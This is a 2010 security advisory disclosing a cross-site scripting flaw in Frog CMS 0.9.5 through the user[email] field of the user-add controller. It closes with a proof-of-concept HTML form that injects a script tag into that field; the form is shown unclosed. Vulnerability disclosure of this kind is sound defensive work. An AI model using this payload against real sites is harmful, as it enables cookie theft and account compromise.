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XSS vulnerability in Frog CMS

Vulnerability ID: HTB22684
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_frog_cms_2.html
Product: Frog CMS
Vendor: Philippe Archambault ( http://www.madebyfrog.com/ ) 
Vulnerable Version: 0.9.5 and probably prior versions
Vendor Notification: 09 November 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "frog/app/controllers/UserController.php" script to properly sanitize user-supplied input in "user[email]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/?/user/add"; method="post" name="main">
<input type="hidden" name="user[name]" value="">
<input type="hidden" name="user[email]" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="user[username]" value="">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="commit" value="Save">